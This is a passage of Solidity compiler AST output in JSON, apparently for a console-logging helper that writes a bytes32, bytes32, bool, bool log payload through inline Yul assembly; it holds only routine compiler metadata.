typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":46079,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"380778:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46077,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"380756:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46080,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"380756:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46081,"nodeType":"ExpressionStatement","src":"380756:28:22"},{"AST":{"nativeSrc":"380803:273:22","nodeType":"YulBlock","src":"380803:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"380824:4:22","nodeType":"YulLiteral","src":"380824:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"380830:2:22","nodeType":"YulIdentifier","src":"380830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380817:6:22","nodeType":"YulIdentifier","src":"380817:6:22"},"nativeSrc":"380817:16:22","nodeType":"YulFunctionCall","src":"380817:16:22"},"nativeSrc":"380817:16:22","nodeType":"YulExpressionStatement","src":"380817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380853:4:22","nodeType":"YulLiteral","src":"380853:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"380859:2:22","nodeType":"YulIdentifier","src":"380859:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380846:6:22","nodeType":"YulIdentifier","src":"380846:6:22"},"nativeSrc":"380846:16:22","nodeType":"YulFunctionCall","src":"380846:16:22"},"nativeSrc":"380846:16:22","nodeType":"YulExpressionStatement","src":"380846:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380882:4:22","nodeType":"YulLiteral","src":"380882:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"380888:2:22","nodeType":"YulIdentifier","src":"380888:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380875:6:22","nodeType":"YulIdentifier","src":"380875:6:22"},"nativeSrc":"380875:16:22","nodeType":"YulFunctionCall","src":"380875:16:22"},"nativeSrc":"380875:16:22","nodeType":"YulExpressionStatement","src":"380875:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380911:4:22","nodeType":"YulLiteral","src":"380911:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"380917:2:22","nodeType":"YulIdentifier","src":"380917:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380904:6:22","nodeType":"YulIdentifier","src":"380904:6:22"},"nativeSrc":"380904:16:22","nodeType":"YulFunctionCall","src":"380904:16:22"},"nativeSrc":"380904:16:22","nodeType":"YulExpressionStatement","src":"380904:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380940:4:22","nodeType":"YulLiteral","src":"380940:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"380946:2:22","nodeType":"YulIdentifier","src":"380946:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380933:6:22","nodeType":"YulIdentifier","src":"380933:6:22"},"nativeSrc":"380933:16:22","nodeType":"YulFunctionCall","src":"380933:16:22"},"nativeSrc":"380933:16:22","nodeType":"YulExpressionStatement","src":"380933:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380969:4:22","nodeType":"YulLiteral","src":"380969:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"380975:2:22","nodeType":"YulIdentifier","src":"380975:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380962:6:22","nodeType":"YulIdentifier","src":"380962:6:22"},"nativeSrc":"380962:16:22","nodeType":"YulFunctionCall","src":"380962:16:22"},"nativeSrc":"380962:16:22","nodeType":"YulExpressionStatement","src":"380962:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"380998:4:22","nodeType":"YulLiteral","src":"380998:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"381004:2:22","nodeType":"YulIdentifier","src":"381004:2:22"}],"functionName":{"name":"mstore","nativeSrc":"380991:6:22","nodeType":"YulIdentifier","src":"380991:6:22"},"nativeSrc":"380991:16:22","nodeType":"YulFunctionCall","src":"380991:16:22"},"nativeSrc":"380991:16:22","nodeType":"YulExpressionStatement","src":"380991:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"381027:4:22","nodeType":"YulLiteral","src":"381027:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"381033:2:22","nodeType":"YulIdentifier","src":"381033:2:22"}],"functionName":{"name":"mstore","nativeSrc":"381020:6:22","nodeType":"YulIdentifier","src":"381020:6:22"},"nativeSrc":"381020:16:22","nodeType":"YulFunctionCall","src":"381020:16:22"},"nativeSrc":"381020:16:22","nodeType":"YulExpressionStatement","src":"381020:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"381056:5:22","nodeType":"YulLiteral","src":"381056:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"381063:2:22","nodeType":"YulIdentifier","src":"381063:2:22"}],"functionName":{"name":"mstore","nativeSrc":"381049:6:22","nodeType":"YulIdentifier","src":"381049:6:22"},"nativeSrc":"381049:17:22","nodeType":"YulFunctionCall","src":"381049:17:22"},"nativeSrc":"381049:17:22","nodeType":"YulExpressionStatement","src":"381049:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46050,"isOffset":false,"isSlot":false,"src":"380830:2:22","valueSize":1},{"declaration":46053,"isOffset":false,"isSlot":false,"src":"380859:2:22","valueSize":1},{"declaration":46056,"isOffset":false,"isSlot":false,"src":"380888:2:22","valueSize":1},{"declaration":46059,"isOffset":false,"isSlot":false,"src":"380917:2:22","valueSize":1},{"declaration":46062,"isOffset":false,"isSlot":false,"src":"380946:2:22","valueSize":1},{"declaration":46065,"isOffset":false,"isSlot":false,"src":"380975:2:22","valueSize":1},{"declaration":46068,"isOffset":false,"isSlot":false,"src":"381004:2:22","valueSize":1},{"declaration":46071,"isOffset":false,"isSlot":false,"src":"381033:2:22","valueSize":1},{"declaration":46074,"isOffset":false,"isSlot":false,"src":"381063:2:22","valueSize":1}],"id":46082,"nodeType":"InlineAssembly","src":"380794:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"379567:3:22","parameters":{"id":46047,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46040,"mutability":"mutable","name":"p0","nameLocation":"379579:2:22","nodeType":"VariableDeclaration","scope":46084,"src":"379571:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46039,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379571:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46042,"mutability":"mutable","name":"p1","nameLocation":"379591:2:22","nodeType":"VariableDeclaration","scope":46084,"src":"379583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46041,"name":"bytes32","nodeType":"ElementaryTypeName","src":"379583:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46044,"mutability":"mutable","name":"p2","nameLocation":"379600:2:22","nodeType":"VariableDeclaration","scope":46084,"src":"379595:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46043,"name":"bool","nodeType":"ElementaryTypeName","src":"379595:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":46046,"mutability":"mutable","name":"p3","nameLocation":"379609:2:22","nodeType":"VariableDeclaration","scope":46084,"src":"379604:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46045,"name":"bool","nodeType":"ElementaryTypeName","src":"379604:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"379570:42:22"},"returnParameters":{"id":46048,"nodeType":"ParameterList","parameters":[],"src":"379627:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46130,"nodeType":"FunctionDefinition","src":"381088:1530:22","nodes":[],"body":{"id":46129,"nodeType":"Block","src":"381160:1458:22","nodes":[],"statements":[{"assignments":[46096],"declarations":[{"constant":false,"id":46096,"mutability":"mutable","name":"m0","nameLocation":"381178:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381170:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46095,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381170:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46097,"nodeType":"VariableDeclarationStatement","src":"381170:10:22"},{"assignments":[46099],"declarations":[{"constant":false,"id":46099,"mutability":"mutable","name":"m1","nameLocation":"381198:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381190:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46098,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381190:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46100,"nodeType":"VariableDeclarationStatement","src":"381190:10:22"},{"assignments":[46102],"declarations":[{"constant":false,"id":46102,"mutability":"mutable","name":"m2","nameLocation":"381218:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381210:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381210:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46103,"nodeType":"VariableDeclarationStatement","src":"381210:10:22"},{"assignments":[46105],"declarations":[{"constant":false,"id":46105,"mutability":"mutable","name":"m3","nameLocation":"381238:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381230:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46104,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381230:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46106,"nodeType":"VariableDeclarationStatement","src":"381230:10:22"},{"assignments":[46108],"declarations":[{"constant":false,"id":46108,"mutability":"mutable","name":"m4","nameLocation":"381258:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381250:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46107,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381250:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46109,"nodeType":"VariableDeclarationStatement","src":"381250:10:22"},{"assignments":[46111],"declarations":[{"constant":false,"id":46111,"mutability":"mutable","name":"m5","nameLocation":"381278:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381270:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46110,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381270:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46112,"nodeType":"VariableDeclarationStatement","src":"381270:10:22"},{"assignments":[46114],"declarations":[{"constant":false,"id":46114,"mutability":"mutable","name":"m6","nameLocation":"381298:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381290:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46113,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381290:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46115,"nodeType":"VariableDeclarationStatement","src":"381290:10:22"},{"assignments":[46117],"declarations":[{"constant":false,"id":46117,"mutability":"mutable","name":"m7","nameLocation":"381318:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381310:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46116,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381310:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46118,"nodeType":"VariableDeclarationStatement","src":"381310:10:22"},{"assignments":[46120],"declarations":[{"constant":false,"id":46120,"mutability":"mutable","name":"m8","nameLocation":"381338:2:22","nodeType":"VariableDeclaration","scope":46129,"src":"381330:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46119,"name":"bytes32","nodeType":"ElementaryTypeName","src":"381330:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46121,"nodeType":"VariableDeclarationStatement","src":"381330:10:22"},{"AST":{"nativeSrc":"381359:924:22","nodeType":"YulBlock","src":"381359:924:22","statements":[{"body":{"nativeSrc":"381402:313:22","nodeType":"YulBlock","src":"381402:313:22","statements":[{"nativeSrc":"381420:15:22","nodeType":"YulVariableDeclaration","src":"381420:15:22","value":{"kind":"number","nativeSrc":"381434:1:22","nodeType":"YulLiteral","src":"381434:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"381424:6:22","nodeType":"YulTypedName","src":"381424:6:22","type":""}]},{"body":{"nativeSrc":"381505:40:22","nodeType":"YulBlock","src":"381505:40:22","statements":[{"body":{"nativeSrc":"381534:9:22","nodeType":"YulBlock","src":"381534:9:22","statements":[{"nativeSrc":"381536:5:22","nodeType":"YulBreak","src":"381536:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"381522:6:22","nodeType":"YulIdentifier","src":"381522:6:22"},{"name":"w","nativeSrc":"381530:1:22","nodeType":"YulIdentifier","src":"381530:1:22"}],"functionName":{"name":"byte","nativeSrc":"381517:4:22","nodeType":"YulIdentifier","src":"381517:4:22"},"nativeSrc":"381517:15:22","nodeType":"YulFunctionCall","src":"381517:15:22"}],"functionName":{"name":"iszero","nativeSrc":"381510:6:22","nodeType":"YulIdentifier","src":"381510:6:22"},"nativeSrc":"381510:23:22","nodeType":"YulFunctionCall","src":"381510:23:22"},"nativeSrc":"381507:36:22","nodeType":"YulIf","src":"381507:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"381462:6:22","nodeType":"YulIdentifier","src":"381462:6:22"},{"kind":"number","nativeSrc":"381470:4:22","nodeType":"YulLiteral","src":"381470:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"381459:2:22","nodeType":"YulIdentifier","src":"381459:2:22"},"nativeSrc":"381459:16:22","nodeType":"YulFunctionCall","src":"381459:16:22"},"nativeSrc":"381452:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"381476:28:22","nodeType":"YulBlock","src":"381476:28:22","statements":[{"nativeSrc":"381478:24:22","nodeType":"YulAssignment","src":"381478:24:22","value":{"arguments":[{"name":"length","nativeSrc":"381492:6:22","nodeType":"YulIdentifier","src":"381492:6:22"},{"kind":"number","nativeSrc":"381500:1:22","nodeType":"YulLiteral","src":"381500:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"381488:3:22","nodeType":"YulIdentifier","src":"381488:3:22"},"nativeSrc":"381488:14:22","nodeType":"YulFunctionCall","src":"381488:14:22"},"variableNames":[{"name":"length","nativeSrc":"381478:6:22","nodeType":"YulIdentifier","src":"381478:6:22"}]}]},"pre":{"nativeSrc":"381456:2:22","nodeType":"YulBlock","src":"381456:2:22","statements":[]},"src":"381452:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"381569:3:22","nodeType":"YulIdentifier","src":"381569:3:22"},{"name":"length","nativeSrc":"381574:6:22","nodeType":"YulIdentifier","src":"381574:6:22"}],"functionName":{"name":"mstore","nativeSrc":"381562:6:22","nodeType":"YulIdentifier","src":"381562:6:22"},"nativeSrc":"381562:19:22","nodeType":"YulFunctionCall","src":"381562:19:22"},"nativeSrc":"381562:19:22","nodeType":"YulExpressionStatement","src":"381562:19:22"},{"nativeSrc":"381598:37:22","nodeType":"YulVariableDeclaration","src":"381598:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"381615:3:22","nodeType":"YulLiteral","src":"381615:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"381624:1:22","nodeType":"YulLiteral","src":"381624:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"381627:6:22","nodeType":"YulIdentifier","src":"381627:6:22"}],"functionName":{"name":"shl","nativeSrc":"381620:3:22","nodeType":"YulIdentifier","src":"381620:3:22"},"nativeSrc":"381620:14:22","nodeType":"YulFunctionCall","src":"381620:14:22"}],"functionName":{"name":"sub","nativeSrc":"381611:3:22","nodeType":"YulIdentifier","src":"381611:3:22"},"nativeSrc":"381611:24:22","nodeType":"YulFunctionCall","src":"381611:24:22"},"variables":[{"name":"shift","nativeSrc":"381602:5:22","nodeType":"YulTypedName","src":"381602:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"381663:3:22","nodeType":"YulIdentifier","src":"381663:3:22"},{"kind":"number","nativeSrc":"381668:4:22","nodeType":"YulLiteral","src":"381668:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"381659:3:22","nodeType":"YulIdentifier","src":"381659:3:22"},"nativeSrc":"381659:14:22","nodeType":"YulFunctionCall","src":"381659:14:22"},{"arguments":[{"name":"shift","nativeSrc":"381679:5:22","nodeType":"YulIdentifier","src":"381679:5:22"},{"arguments":[{"name":"shift","nativeSrc":"381690:5:22","nodeType":"YulIdentifier","src":"381690:5:22"},{"name":"w","nativeSrc":"381697:1:22","nodeType":"YulIdentifier","src":"381697:1:22"}],"functionName":{"name":"shr","nativeSrc":"381686:3:22","nodeType":"YulIdentifier","src":"381686:3:22"},"nativeSrc":"381686:13:22","nodeType":"YulFunctionCall","src":"381686:13:22"}],"functionName":{"name":"shl","nativeSrc":"381675:3:22","nodeType":"YulIdentifier","src":"381675:3:22"},"nativeSrc":"381675:25:22","nodeType":"YulFunctionCall","src":"381675:25:22"}],"functionName":{"name":"mstore","nativeSrc":"381652:6:22","nodeType":"YulIdentifier","src":"381652:6:22"},"nativeSrc":"381652:49:22","nodeType":"YulFunctionCall","src":"381652:49:22"},"nativeSrc":"381652:49:22","nodeType":"YulExpressionStatement","src":"381652:49:22"}]},"name":"writeString","nativeSrc":"381373:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"381394:3:22","nodeType":"YulTypedName","src":"381394:3:22","type":""},{"name":"w","nativeSrc":"381399:1:22","nodeType":"YulTypedName","src":"381399:1:22","type":""}],"src":"381373:342:22"},{"nativeSrc":"381728:17:22","nodeType":"YulAssignment","src":"381728:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381740:4:22","nodeType":"YulLiteral","src":"381740:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"381734:5:22","nodeType":"YulIdentifier","src":"381734:5:22"},"nativeSrc":"381734:11:22","nodeType":"YulFunctionCall","src":"381734:11:22"},"variableNames":[{"name":"m0","nativeSrc":"381728:2:22","nodeType":"YulIdentifier","src":"381728:2:22"}]},{"nativeSrc":"381758:17:22","nodeType":"YulAssignment","src":"381758:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381770:4:22","nodeType":"YulLiteral","src":"381770:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"381764:5:22","nodeType":"YulIdentifier","src":"381764:5:22"},"nativeSrc":"381764:11:22","nodeType":"YulFunctionCall","src":"381764:11:22"},"variableNames":[{"name":"m1","nativeSrc":"381758:2:22","nodeType":"YulIdentifier","src":"381758:2:22"}]},{"nativeSrc":"381788:17:22","nodeType":"YulAssignment","src":"381788:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381800:4:22","nodeType":"YulLiteral","src":"381800:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"381794:5:22","nodeType":"YulIdentifier","src":"381794:5:22"},"nativeSrc":"381794:11:22","nodeType":"YulFunctionCall","src":"381794:11:22"},"variableNames":[{"name":"m2","nativeSrc":"381788:2:22","nodeType":"YulIdentifier","src":"381788:2:22"}]},{"nativeSrc":"381818:17:22","nodeType":"YulAssignment","src":"381818:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381830:4:22","nodeType":"YulLiteral","src":"381830:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"381824:5:22","nodeType":"YulIdentifier","src":"381824:5:22"},"nativeSrc":"381824:11:22","nodeType":"YulFunctionCall","src":"381824:11:22"},"variableNames":[{"name":"m3","nativeSrc":"381818:2:22","nodeType":"YulIdentifier","src":"381818:2:22"}]},{"nativeSrc":"381848:17:22","nodeType":"YulAssignment","src":"381848:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381860:4:22","nodeType":"YulLiteral","src":"381860:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"381854:5:22","nodeType":"YulIdentifier","src":"381854:5:22"},"nativeSrc":"381854:11:22","nodeType":"YulFunctionCall","src":"381854:11:22"},"variableNames":[{"name":"m4","nativeSrc":"381848:2:22","nodeType":"YulIdentifier","src":"381848:2:22"}]},{"nativeSrc":"381878:17:22","nodeType":"YulAssignment","src":"381878:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381890:4:22","nodeType":"YulLiteral","src":"381890:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"381884:5:22","nodeType":"YulIdentifier","src":"381884:5:22"},"nativeSrc":"381884:11:22","nodeType":"YulFunctionCall","src":"381884:11:22"},"variableNames":[{"name":"m5","nativeSrc":"381878:2:22","nodeType":"YulIdentifier","src":"381878:2:22"}]},{"nativeSrc":"381908:17:22","nodeType":"YulAssignment","src":"381908:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381920:4:22","nodeType":"YulLiteral","src":"381920:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"381914:5:22","nodeType":"YulIdentifier","src":"381914:5:22"},"nativeSrc":"381914:11:22","nodeType":"YulFunctionCall","src":"381914:11:22"},"variableNames":[{"name":"m6","nativeSrc":"381908:2:22","nodeType":"YulIdentifier","src":"381908:2:22"}]},{"nativeSrc":"381938:17:22","nodeType":"YulAssignment","src":"381938:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"381950:4:22","nodeType":"YulLiteral","src":"381950:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"381944:5:22","nodeType":"YulIdentifier","src":"381944:5:22"},"nativeSrc":"381944:11:22","nodeType":"YulFunctionCall","src":"381944:11:22"},"variableNames":[{"name":"m7","nativeSrc":"381938:2:22","nodeType":"YulIdentifier","src":"381938:2:22"}]},{"nativeSrc":"381968:18:22","nodeType":"YulAssignment","src":"381968:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"381980:5:22","nodeType":"YulLiteral","src":"381980:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"381974:5:22","nodeType":"YulIdentifier","src":"381974:5:22"},"nativeSrc":"381974:12:22","nodeType":"YulFunctionCall","src":"381974:12:22"},"variableNames":[{"name":"m8","nativeSrc":"381968:2:22","nodeType":"YulIdentifier","src":"381968:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382068:4:22","nodeType":"YulLiteral","src":"382068:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"382074:10:22","nodeType":"YulLiteral","src":"382074:10:22","type":"","value":"0xd6aefad2"}],"functionName":{"name":"mstore","nativeSrc":"382061:6:22","nodeType":"YulIdentifier","src":"382061:6:22"},"nativeSrc":"382061:24:22","nodeType":"YulFunctionCall","src":"382061:24:22"},"nativeSrc":"382061:24:22","nodeType":"YulExpressionStatement","src":"382061:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382105:4:22","nodeType":"YulLiteral","src":"382105:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"382111:4:22","nodeType":"YulLiteral","src":"382111:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"382098:6:22","nodeType":"YulIdentifier","src":"382098:6:22"},"nativeSrc":"382098:18:22","nodeType":"YulFunctionCall","src":"382098:18:22"},"nativeSrc":"382098:18:22","nodeType":"YulExpressionStatement","src":"382098:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382136:4:22","nodeType":"YulLiteral","src":"382136:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"382142:4:22","nodeType":"YulLiteral","src":"382142:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"382129:6:22","nodeType":"YulIdentifier","src":"382129:6:22"},"nativeSrc":"382129:18:22","nodeType":"YulFunctionCall","src":"382129:18:22"},"nativeSrc":"382129:18:22","nodeType":"YulExpressionStatement","src":"382129:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382167:4:22","nodeType":"YulLiteral","src":"382167:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"382173:2:22","nodeType":"YulIdentifier","src":"382173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382160:6:22","nodeType":"YulIdentifier","src":"382160:6:22"},"nativeSrc":"382160:16:22","nodeType":"YulFunctionCall","src":"382160:16:22"},"nativeSrc":"382160:16:22","nodeType":"YulExpressionStatement","src":"382160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382196:4:22","nodeType":"YulLiteral","src":"382196:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"382202:2:22","nodeType":"YulIdentifier","src":"382202:2:22"}],"functionName":{"name":"mstore","nativeSrc":"382189:6:22","nodeType":"YulIdentifier","src":"382189:6:22"},"nativeSrc":"382189:16:22","nodeType":"YulFunctionCall","src":"382189:16:22"},"nativeSrc":"382189:16:22","nodeType":"YulExpressionStatement","src":"382189:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382230:4:22","nodeType":"YulLiteral","src":"382230:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"382236:2:22","nodeType":"YulIdentifier","src":"382236:2:22"}],"functionName":{"name":"writeString","nativeSrc":"382218:11:22","nodeType":"YulIdentifier","src":"382218:11:22"},"nativeSrc":"382218:21:22","nodeType":"YulFunctionCall","src":"382218:21:22"},"nativeSrc":"382218:21:22","nodeType":"YulExpressionStatement","src":"382218:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"382264:4:22","nodeType":"YulLiteral","src":"382264:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"382270:2:22","nodeType":"YulIdentifier","src":"382270:2:22"}],"functionName":{"name":"writeString","nativeSrc":"382252:11:22","nodeType":"YulIdentifier","src":"382252:11:22"},"nativeSrc":"382252:21:22","nodeType":"YulFunctionCall","src":"382252:21:22"},"nativeSrc":"382252:21:22","nodeType":"YulExpressionStatement","src":"382252:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46096,"isOffset":false,"isSlot":false,"src":"381728:2:22","valueSize":1},{"declaration":46099,"isOffset":false,"isSlot":false,"src":"381758:2:22","valueSize":1},{"declaration":46102,"isOffset":false,"isSlot":false,"src":"381788:2:22","valueSize":1},{"declaration":46105,"isOffset":false,"isSlot":false,"src":"381818:2:22","valueSize":1},{"declaration":46108,"isOffset":false,"isSlot":false,"src":"381848:2:22","valueSize":1},{"declaration":46111,"isOffset":false,"isSlot":false,"src":"381878:2:22","valueSize":1},{"declaration":46114,"isOffset":false,"isSlot":false,"src":"381908:2:22","valueSize":1},{"declaration":46117,"isOffset":false,"isSlot":false,"src":"381938:2:22","valueSize":1},{"declaration":46120,"isOffset":false,"isSlot":false,"src":"381968:2:22","valueSize":1},{"declaration":46086,"isOffset":false,"isSlot":false,"src":"382236:2:22","valueSize":1},{"declaration":46088,"isOffset":false,"isSlot":false,"src":"382270:2:22","valueSize":1},{"declaration":46090,"isOffset":false,"isSlot":false,"src":"382173:2:22","valueSize":1},{"declaration":46092,"isOffset":false,"isSlot":false,"src":"382202:2:22","valueSize":1}],"id":46122,"nodeType":"InlineAssembly","src":"381350:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"382308:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 